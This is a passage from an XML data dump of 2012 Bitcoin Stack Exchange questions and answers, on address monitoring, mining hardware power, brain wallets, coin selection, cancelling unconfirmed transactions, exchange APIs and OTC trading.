trick the user into authorizing a different transaction than is presented by the website).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-08-20T19:05:49.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4496" PostTypeId="1" AcceptedAnswerId="4528" CreationDate="2012-08-20T19:51:30.133" Score="27" ViewCount="9717" Body="&lt;p&gt;I have around 20000 generated addresses which I want to monitor for new transactions. More addresses should probably come. Customers should use every address only once but I would like to monitor already used addresses if some of them decide to transfer coins to &quot;used&quot; addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These addresses are not in the online wallet, I have only addresses in the databases. Private keys are held offline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That means that I do not want to monitor addresses from the local wallet but the addresses from databases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A command should executed after a transaction is received (with enough confirmations). There are some monitor services which can send an email or call url after receiving a transaction for an address on the watchlist. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to implement the same feature for my application without depending on external service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw some questions and answers like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1725/how-to-know-there-is-a-new-transaction&quot;&gt;How to know there is a new transaction?&lt;/a&gt; or&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4265/monitor-all-transactions-on-bitcoin-network-api&quot;&gt;Monitor all transactions on bitcoin network - API&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what would be the most efficient way to do this? Is there a perl/php compatible way to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of topics from above links to &lt;a href=&quot;https://bitcointalk.org/index.php?topic=89725.0&quot; rel=&quot;noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=89725.0&lt;/a&gt; where Gavin is talking about some new features but I did  not get how could I or whether I can use anything of this to monitor a high number of addresses. Sending every minute a batch RPC call with a few thousands addresses to bitcoind is probably not a solution :-(.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that there is a elegant way to monitor the whole information stream (all incoming transactions and other incoming information) and react if it matches what I need. &lt;/p&gt;&#xA;" OwnerUserId="1770" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2022-01-23T23:22:23.393" Title="how to monitor +20,000 addresses for new received transactions?" Tags="|transactions|development|json-rpc|scalability|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4498" PostTypeId="1" AcceptedAnswerId="4500" CreationDate="2012-08-20T20:13:13.033" Score="2" ViewCount="1839" Body="&lt;p&gt;&lt;a href=&quot;http://www.butterflylabs.com/product-details/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Its website&lt;/a&gt; says it uses 80W of power, so that's too much for a USB port. How does it receive it's power?&lt;/p&gt;&#xA;&lt;p&gt;Can it run on a 240V power supply, or does it need 110V?&lt;/p&gt;&#xA;&lt;p&gt;Note I'm not asking about the newer &amp;quot;Bitforce Single (SC)&amp;quot;, which hasn't been shipped to anyone yet. This the older (FPGA?) hardware that has been sold for some time.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2012-08-21T00:18:25.090" Title="How is a Butterfly Labs Bitforce Single powered?" Tags="|fpga|butterfly-labs|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4499" PostTypeId="1" CreationDate="2012-08-20T20:28:58.207" Score="5" ViewCount="908" Body="&lt;p&gt;The &lt;a href=&quot;https://github.com/aaronwolfe/Big-A-Miner-Thing/wiki/Faq&quot; rel=&quot;nofollow&quot;&gt;official BAMT faq&lt;/a&gt; says &quot;&lt;strong&gt;never&lt;/strong&gt; use sudo. &lt;strong&gt;never never&lt;/strong&gt;, &lt;strong&gt;always&lt;/strong&gt; log in as root. &lt;em&gt;[emphasis in original]&lt;/em&gt;&quot;. Is this a BAMT-specific issue, a more general issue with &lt;code&gt;sudo&lt;/code&gt; that I should ask about on Super User or Server Fault, or what? I can't find any general complaints warranting this strong a reaction, and I can't find anything BAMT specific. Why, in an application where security is usually important, should I &lt;strong&gt;never&lt;/strong&gt; use a tool which is designed to enhance security and which I've never heard this complaint about before?&lt;/p&gt;&#xA;" OwnerUserId="1725" LastEditorUserId="18196" LastEditDate="2016-03-18T19:56:59.420" LastActivityDate="2016-03-18T19:56:59.420" Title="Setting up BAMT root access" Tags="|security|bamt|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4500" PostTypeId="2" ParentId="4498" CreationDate="2012-08-21T00:18:25.090" Score="4" Body="&lt;p&gt;It uses ~70W @ 12V of external power. The stock power brick is cheaply made, giant, and inefficient (PF=.5,efficiency~.8). Fortunately, the power brick can run on 240V.  Many people make their own cables to use an ATX or bench PSU (with higher powerfactor and efficiency)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;source: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=67819.msg796852#msg796852&quot;&gt;https://bitcointalk.org/index.php?topic=67819.msg796852#msg796852&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2012-08-21T00:18:25.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4501" PostTypeId="2" ParentId="4483" CreationDate="2012-08-21T05:50:05.727" Score="5" Body="&lt;p&gt;The relationship between fee and confirmation time will change over time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This chart provides a view of confirmation time for &quot;fee&quot; and &quot;no fee&quot;: &lt;a href=&quot;http://bitcoinstats.org/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinstats.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the chart gives no information on the size of the fee paid. I'd like to see charts of:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Fee Paid vs Confirmation Time&lt;/li&gt;&#xA;&lt;li&gt;(Transaction Size divided by Fee Paid) vs Confirmation Time.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Both these, especially the latter, are likely to show a stronger trend than the link I provided above, if/when we start hitting the size limit for blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone finds a site generating one of these, I'd appreciate it if you could provide a link!&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2012-08-21T08:36:34.383" LastActivityDate="2012-08-21T08:36:34.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4502" PostTypeId="2" ParentId="4466" CreationDate="2012-08-21T07:41:29.867" Score="1" Body="&lt;p&gt;There is also &lt;a href=&quot;http://mtgoxlive.com/orders&quot; rel=&quot;nofollow&quot;&gt;mtgoxlive.com/orders&lt;/a&gt;, but they have had some trouble lately. I have also recently discovered &lt;a href=&quot;http://bitcoin.clarkmoody.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.clarkmoody.com/&lt;/a&gt; which is nice, but lacks the nice display of order depth&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2012-08-21T07:41:29.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4503" PostTypeId="1" CreationDate="2012-08-21T08:35:53.320" Score="10" ViewCount="6051" Body="&lt;p&gt;Is there a way to use a long (and possibly hashed) passphrase as a private key, so that all I need to recover my Bitcoins would be that password?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking of buying Bitcoins using a private key that's generated from a passphrase, and then deleting the Bitcoins software entirely. When I want to use my Bitcoins in the future, I will re-create the key using the password. This will eliminate the possibility of stealing my Bitcoins by hacking to my computer.&lt;/p&gt;&#xA;" OwnerUserId="415" LastEditorUserId="415" LastEditDate="2012-08-21T08:45:47.913" LastActivityDate="2015-08-25T20:24:56.793" Title="Can I use a passphrase as a private key?" Tags="|private-key|passphrase|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4504" PostTypeId="2" ParentId="4449" CreationDate="2012-08-21T10:46:49.323" Score="0" Body="&lt;p&gt;Well, I just transferred $1000 AUD and received $987.38, which seems to correspond with a 1000 Yen receiving fee. Transfer was made mid morning Friday via HSBC and I had the funds by COB Tuesday, but apparently there was some delay because my account was not verified so they couldn't release the funds. Support was very helpful in sorting that out, but they really should mention on their website you need to be verified to deposit funds via wire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just noticed that they now have a local bank account (Technocash) to deposit in Australia, but it charges 3.95%. Given that HSBC charges $20 AUD to make a wire transfer, and MtGox's local bank charges 1000 Yen ($12) that works out to be about 3.2% on my transfer, so for anything less than $810 AUD it would be cheaper to do the direct bank deposit via Technocash.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2012-08-21T10:46:49.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4505" PostTypeId="2" ParentId="4503" CreationDate="2012-08-21T12:04:35.210" Score="3" Body="&lt;p&gt;You ought to look into solutions such as &lt;a href=&quot;http://brainwallet.org/&quot; rel=&quot;nofollow&quot;&gt;Brainwallet&lt;/a&gt;. It hashes your passphrase into a Bitcoin address.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-08-21T12:04:35.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4507" PostTypeId="1" AcceptedAnswerId="4512" CreationDate="2012-08-21T12:25:49.933" Score="4" ViewCount="511" Body="&lt;p&gt;Imagine I've got 100 BTC in my wallet, which I accumulated at different points of time. When spending a fraction of my BTC, e.g. 10 BTC, which one of my 100 BTC do I actually spent? The last one I accumulated (Lifo)? The first one I accumulated (Fifo)?&lt;/p&gt;&#xA;" OwnerUserId="1772" LastEditorUserId="5406" LastEditDate="2014-08-12T09:35:28.620" LastActivityDate="2014-08-12T09:35:28.620" Title="BTC Days Destroyed, Lifo or Fifo?" Tags="|economic-theory|accounting|bitcoin-days-destroyed|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4508" PostTypeId="2" ParentId="4503" CreationDate="2012-08-21T12:32:16.273" Score="10" Body="&lt;p&gt;The simplest and most common way of doing this is to do SHA256(passphrase) and to use the result as your private key. You can e.g. use the &quot;Brain wallet&quot; tab on &lt;a href=&quot;https://www.bitaddress.org&quot;&gt;www.bitaddress.org&lt;/a&gt; which is all javascript so that you can download it and do everything offline for increased security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be aware though that your pass phrase must be &lt;strong&gt;really long&lt;/strong&gt; and &lt;strong&gt;truly unique&lt;/strong&gt; since if someone would use the same pass phrase they would have access to your money. The comment from Pieter Wuille above is worth repeating:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Be aware that when you do this, you expose your wallet to the entire&#xA;  world to do a brute-force attack on your password. If many people&#xA;  start doing this, it may become very profitable to try to find their&#xA;  passwords. Software like Armory and Electrum have the ability to&#xA;  generate a determinsitic wallet from a 'seed', but this seed is still&#xA;  randomly generated, in order to be sure that it is hard to attack&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="105" LastEditorUserId="105" LastEditDate="2012-08-21T12:37:29.883" LastActivityDate="2012-08-21T12:37:29.883" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4509" PostTypeId="2" ParentId="4254" CreationDate="2012-08-21T12:39:08.773" Score="0" Body="&lt;p&gt;As stated before: if the government or who ever tries to buy all existing BTC this would lead to enormous volatility. But what are the consequences(?): Increasing price volatility would harm the possibility of storing value. But as prices for goods and services which are offered in exchange of BTC are flexible, BTC could still be used as a mean of exchange. &lt;/p&gt;&#xA;" OwnerUserId="1772" LastActivityDate="2012-08-21T12:39:08.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4510" PostTypeId="2" ParentId="3760" CreationDate="2012-08-21T12:45:11.447" Score="1" Body="&lt;p&gt;A currency should fullfill two economic needs: A mean of exchange and a possibility of storing value. For storing value in an appropriate way price stability is crucial, but as prices for goods and services available in exchange for BTC are flexible price stability can only be reached by relatively stable rates of exchange (assuming price stability in the supplying economies). With respect to historical price volatility it fairly can be said that BTC are not yet a &quot;regular&quot; currency in an economic sense. &lt;/p&gt;&#xA;" OwnerUserId="1772" LastActivityDate="2012-08-21T12:45:11.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4511" PostTypeId="2" ParentId="224" CreationDate="2012-08-21T13:41:42.807" Score="1" Body="&lt;p&gt;&lt;em&gt;Following the Fisherine quantity of money...&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Applying the thoughts of the Fisherine quantity theory of money to BTC could be a possible answer: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;P = Fair value of a BTC (denoted in a foreign currency) &lt;/li&gt;&#xA;&lt;li&gt;Y = Volume of trade (denoted in a foreign currency) -&gt; Goods and Services bought!&lt;/li&gt;&#xA;&lt;li&gt;V = Velocity of BTC &lt;/li&gt;&#xA;&lt;li&gt;M = Quantity of BTC&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;P = Y/(V*M) -&gt; e.g.: USD 5/BTC= USD 5'000'000/ (1*1'000'000)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Or following Hazlitt &amp;amp; Mises...&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The detractors of the Fisherine theory claim that changes in the price level are independent of the money supply but dependent of changes in people's relative valuations of money and goods causing a higher/ lower volume of trade which results in changes of V (http://mises.org/daily/2916).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Combining this statement with the fact that flexible prices prevent the possibility of arbitrage one could state that there is no fundamental or objective high or low value of BTC in comparison to other currencies. This leads to the assumption that people holding BTC, which are Buyers of G&amp;amp;S and regular Speculators** , have to value the worth of their wallet relative to the exchange rate for which they bought their BTC (and their trust in the future development of the exchange rate), deciding to buy goods and services or exchanging their BTC against foreign currencies, which both ends up in a increased supply of BTC** and furthermore seems highly subjective and unpredictable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** &lt;em&gt;In addition one has to think about which incentives different individuals face exchanging their BTCs into foreign currencies: Suppliers of goods and services should have nearly no incentive holding BTC regarding the risk of exchange rates - They simply use BTC as a mean of exchange using their own (foreign) currency for storing value. Buyers of Goods and Services, given the amount of BTC they are holding is spread among a greater number of individuals (a smaller amount of BTC per head in comparison to suppliers), do not face such substantial risk and therefore have less incentives exchanging their BTC into foreign currencies, in fact there seem to be several reasons for Buyers to hold BTC. &#xA;Just as Suppliers Miners should also face an incentive exchanging their BTCs, due to their costs of mining which are also denoted in a foreign currency. Regular Speculators/ Investors should react countercyclical: Buying BTC at low prices, selling them at high prices.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1772" LastEditorUserId="1772" LastEditDate="2012-08-22T16:31:31.470" LastActivityDate="2012-08-22T16:31:31.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4512" PostTypeId="2" ParentId="4507" CreationDate="2012-08-21T15:49:16.400" Score="8" Body="&lt;p&gt;Neither.  The client chooses the best fit of coins for your spending.  This is known as the knapsack problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The coins chosen will be the ones that yield the lowest amount of change, with exceptions for very recent (unconfirmed or newly confirmed) coins.  Even when there are multiple solutions that yield the same amount of change, it will not necessarily choose an older coin versus a newer coin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an answer to another question that gives more details on this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/1078/153&quot;&gt;https://bitcoin.stackexchange.com/a/1078/153&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2012-08-21T15:49:16.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4513" PostTypeId="2" ParentId="4496" CreationDate="2012-08-21T16:08:43.677" Score="1" Body="&lt;p&gt;You could import all of those keys into a wallet using a very long password that you will never use again. Then, you could make bitcoind handle keeping track of all of those addresses and their balances, while not being able to spend any of them. The rest can be handled through the &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;JSON RPC API&lt;/a&gt;. It might not be the neatest way of doing things, but it should work.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-08-21T16:08:43.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4514" PostTypeId="1" AcceptedAnswerId="4515" CreationDate="2012-08-21T19:00:17.543" Score="21" ViewCount="43260" Body="&lt;p&gt;If you submit a transaction to the network but it hasn't yet be confirmed by a block, is it possible to cancel this transaction?&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="5406" LastEditDate="2017-06-07T17:10:10.793" LastActivityDate="2017-10-20T04:57:35.183" Title="Is it possible to cancel an unconfirmed transaction?" Tags="|unconfirmed-transactions|revert-transaction|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4515" PostTypeId="2" ParentId="4514" CreationDate="2012-08-21T20:05:11.757" Score="13" Body="&lt;p&gt;Bitcoin-Qt doesn't support anything like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theoretically:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A transaction is canceled by publishing a second transaction which double-spends some of the coins used in the first transaction (this can be a send-to-self). If the second transaction is included in a block before the first one, the first one becomes invalid and can be considered fully cancelled after the second transaction receives 6 confirmations. It's normally not easy to do this. Network nodes won't accept transactions which double-spend coins used in a transaction they already know about. However, nodes gradually forget about transactions if they don't get into blocks, so a transaction could be cancelled if it doesn't make it into a block after several days and both the sender and recipient stop rebroadcasting it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin used to have a feature called transaction replacement. A transaction could be marked as non-final, which prevented this transaction from getting into a block, but allowed the transaction to be cancelled at any time. Satoshi disabled this a while ago, though. Transactions can still be marked as non-final, but they can't be replaced.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-08-21T20:05:11.757" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="4516" PostTypeId="1" AcceptedAnswerId="23272" CreationDate="2012-08-21T22:53:34.567" Score="9" ViewCount="1389" Body="&lt;p&gt;I want to do merged mining with P2Pool, and I want any generated namecoins to go to a specific namecoin address in my wallet. I haven't seen a way to configure this in P2Pool or namecoind, and Google's turned up no hits. It seems as though it's either too obvious for anybody to mention in any guides, or like I'm the only one who wants to do this. If the latter, then why does nobody want this and why should I not do this?&lt;/p&gt;&#xA;" OwnerUserId="1725" LastEditorUserId="5406" LastEditDate="2016-01-22T22:23:14.363" LastActivityDate="2016-01-22T22:23:14.363" Title="Specific namecoin address in merged mining" Tags="|namecoin|p2pool|merged-mining|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4517" PostTypeId="1" CreationDate="2012-08-22T11:37:43.067" Score="8" ViewCount="447" Body="&lt;p&gt;I need to display at my website what a certain amount of Bitcoins will likely cost. I can fetch the latest price using the MtGox API and multiply it by the amount, but for large amounts this is inaccurate because the buy itself will move the price. The only other option seems to fetch the whole orderbook, and calculate it myself each time, but isn't there an API for this?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2012-11-25T23:15:28.167" Title="Is there an API for price estimation?" Tags="|exchanges|json-rpc|exchange-rate|api|merchants|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4518" PostTypeId="2" ParentId="3179" CreationDate="2012-08-22T14:00:52.253" Score="1" Body="&lt;p&gt;From my perspective the controversy about this question is the fact that &lt;em&gt;someone can't price a product without an exchange rate and vice versa&lt;/em&gt;... This indeed seems like an insolvable problem but there is one simple answer: every currency or monetary territory has to start with either an exchange rate (to find appropriate prices for products) or initial priced products (to find an appropriate exchange rate).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since in the early beginning of BTC nearly no Supplier of Goods &amp;amp; Services accepted BTC as a payment the initial product traded were BTCs themself (vice versa: Foreign currencies were the first product). As stated by other answers before: &lt;em&gt;BTC have an intrinsic value which is simply their usability transacting value.&lt;/em&gt; For this value a price can easily be found by bringing together supply and demand via an exchange. Since liquidity and market capitilisation grew transacting value became more and more feasible.&lt;/p&gt;&#xA;" OwnerUserId="1772" LastEditorUserId="1772" LastEditDate="2012-08-22T15:07:23.600" LastActivityDate="2012-08-22T15:07:23.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4519" PostTypeId="1" AcceptedAnswerId="4521" CreationDate="2012-08-22T14:21:29.643" Score="0" ViewCount="472" Body="&lt;p&gt;I'd like to start saving money and there are a few options. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cash provides anonymity but it's very susceptible to steal and I must have a physical space for it. &lt;/li&gt;&#xA;&lt;li&gt;A bank account is much safer but I don't really like the system to keep track of my savings. &lt;/li&gt;&#xA;&lt;li&gt;An offline bitcoin wallet would provide both safety and anonymity.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It seems the last option is the best choice because the money saved can even go up in value as bitcoin deflates. But, what if it never takes off as a mass used currency? What if it somehow gets deprecated by a similar cryptocurrency?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How big is the risk of saving in a bitcoin address?&lt;/p&gt;&#xA;" OwnerUserId="1624" LastEditorUserId="1624" LastEditDate="2012-08-22T15:06:16.193" LastActivityDate="2012-08-23T04:07:16.863" Title="Is using bitcoin for savings a risky choice?" Tags="|economic-theory|accounting|" AnswerCount="1" CommentCount="1" ClosedDate="2012-08-22T17:52:53.047" ContentLicense="CC BY-SA 3.0" />
  <row Id="4520" PostTypeId="1" AcceptedAnswerId="4523" CreationDate="2012-08-22T14:37:17.487" Score="3" ViewCount="237" Body="&lt;p&gt;Obviously one can transact currency via buying BTCs on an exchange transacting them to another person which itself sells the BTCs received on an exchange - this would limit the possibilities of transacting money to the liquidity of BTC exchanges and exposes the parties involved to the risk of exchange rate fluctuations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a possibility of avoiding these factors via OTC ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.: The party which wants to receive a payment, e.g. USD 1000, buys the smallest fraction of a BTC on an exchange (regardless to the value in USD) and &quot;sells&quot; this fraction of BTC to the party which owes the payment in exchange for the USD 1000.&lt;/p&gt;&#xA;" OwnerUserId="1772" LastEditorUserId="153" LastEditDate="2012-08-22T22:10:00.083" LastActivityDate="2012-08-22T22:19:50.570" Title="Can OTC help lessen the cost of slippage and exchange rate risk?" Tags="|transactions|trading|currencies|otc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4521" PostTypeId="2" ParentId="4519" CreationDate="2012-08-22T15:26:21.440" Score="4" Body="&lt;p&gt;Buying bitcoins shouldn't be thought of as savings, it's a very high-risk speculative investment. It could go way up in value, or way down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Luckily, if you want Bitcoin's power of secure storage without exposure to the exchange rate, you can do that too, in theory at least. Use most of your funds to buy X bitcoins, and use the rest as collateral to short-sell X bitcoins. You'd have to pay a bit more for the exchange, pay an interest rate, and trust some of your money with the platform, and there aren't currently very good margin trading platforms, but it can be done and might be worth it if you're sufficiently averse to the traditional alternatives.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-08-23T04:07:16.863" LastActivityDate="2012-08-23T04:07:16.863" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4522" PostTypeId="1" AcceptedAnswerId="4533" CreationDate="2012-08-22T17:59:22.513" Score="2" ViewCount="255" Body="&lt;p&gt;The API call &lt;b&gt;listsinceblock&lt;/b&gt; has an optional parameter called &lt;b&gt;target-confirmations&lt;/b&gt;.  Exactly what does it mean and how does it differ from the &lt;b&gt;minconf&lt;/b&gt; optional parameter that many other calls take?  I understand the use of &lt;b&gt;minconf&lt;/b&gt;, but I cannot at first glance see what's different about &lt;b&gt;target-confirmations&lt;/b&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1756" LastActivityDate="2012-08-23T19:30:06.063" Title="What is the meaning of target-confirmation?" Tags="|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4523" PostTypeId="2" ParentId="4520" CreationDate="2012-08-22T22:07:16.107" Score="1" Body="&lt;p&gt;Bitcoin is compatible with almost any financial contract or derivative that exists today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the scenario you are describing is this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bob must pay to Alice $1,000 USD worth of bitcoins.&#xA;Bob has $1,000 USD to send to Alice but has not yet bought the bitcoins.  What ways are available to Bob that allows him to send the funds to Alice without exposure to exchange rate risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You didn't mention a time component so there are two scenarios.  One is where there is immediate settlement -- Bob wants to pay Alice the funds now.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since there is no &quot;official&quot; exchange rate, what is widely accepted as being an accurate or fair price at any point in time is whatever the &quot;last&quot; trade shows from the BTC/USD market on Mt. Gox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other exchanges may have higher or lower spot market rates.  At an exchange with good liquidity, that relatively smaller amount can be purchased at the spot market in a single transaction (without &lt;a href=&quot;http://en.wikipedia.org/wiki/Slippage_%28finance%29&quot; rel=&quot;nofollow&quot;&gt;slippage&lt;/a&gt;) and the bitcoins can then be delivered to Alice immediately.  Because there was essentially no time that elapsed after the bitcoins were purchased before delivery to Alice, there was then no exposure to exchange rate risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Presumably you are inquiring about this for amounts that are larger where slippage would occur.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are traders who perform arbitrage (automated with bots, or performed manually) and generally remove price inefficiencies between the markets.  This brings additional liquidity to the exchanges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if arbitrage were to keep the exchange rates between the exchange markets in exact synch, they only act after Bob has made purchases, thus he either loses to slippage when buying in bigger chunks or he exposes himself to exchange rate risk when buying over time.  If Bob's purchasing is detected, other traders might become aware of his buying and frontrun him, causing him to realize actual exchange rate risk.  And Bob also loses because the arbitrage providers are absorbing some of the value in the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are few options to Bob to avoid both slippage and exchange rate risk, other than to contract that work out by using a trader or &lt;a href=&quot;https://en.bitcoin.it/wiki/Buying_bitcoins#Direct_.2F_Bulk_Buying&quot; rel=&quot;nofollow&quot;&gt;broker who can minimize these factors&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if the amount owed to Alice is not until some future point in time, Bob could consider buying a CALL &lt;a href=&quot;https://en.bitcoin.it/wiki/Buying_bitcoins#Other_Financial_Services&quot; rel=&quot;nofollow&quot;&gt;option&lt;/a&gt;, ensuring a supply of bitcoins at a future date at price known today (and thus protects hum from a price move to the upside).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bob could instead buy the bitcoins today and then hedge against exchange rate risk by buying a PUT option (which allows him to gain should the exchange rate fall after he makes his purchase before he delivers the coins to Alice).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now obviously, if Bob deals solely in fiat, and Alice deals solely in fiat, then why even bring bitcoin in the middle?  A bank wire transfer works pretty well for this for immediate (e.g., same-day) settlement of larger amount, and other methods are less expensive for future delivery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is even the ability to use USD vouchers (&lt;a href=&quot;https://en.bitcoin.it/wiki/Redeemable_code&quot; rel=&quot;nofollow&quot;&gt;redeemable codes&lt;/a&gt;) for this.  Bob does a bank transfer to his account at the same exchange that Alice uses.  He then sends Alice a redeemable code for 1,000.  Some exchanges allow this, but generally there are limits as the exchange offers these voucher codes presumng the customer overall is using those funds for trading bitcoins and not just withdrawing the fiat after redeeming the codes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to summarize, trades of larger transaction amounts cause slippage and there is not currently an efficient method that takes advantage of the supply from the over-the-counter markets to minimize the market inefficiency similar to wha other, more mature, financial trading ecosystems provide.  That may come, it just isn't available today.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-08-22T22:19:50.570" LastActivityDate="2012-08-22T22:19:50.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
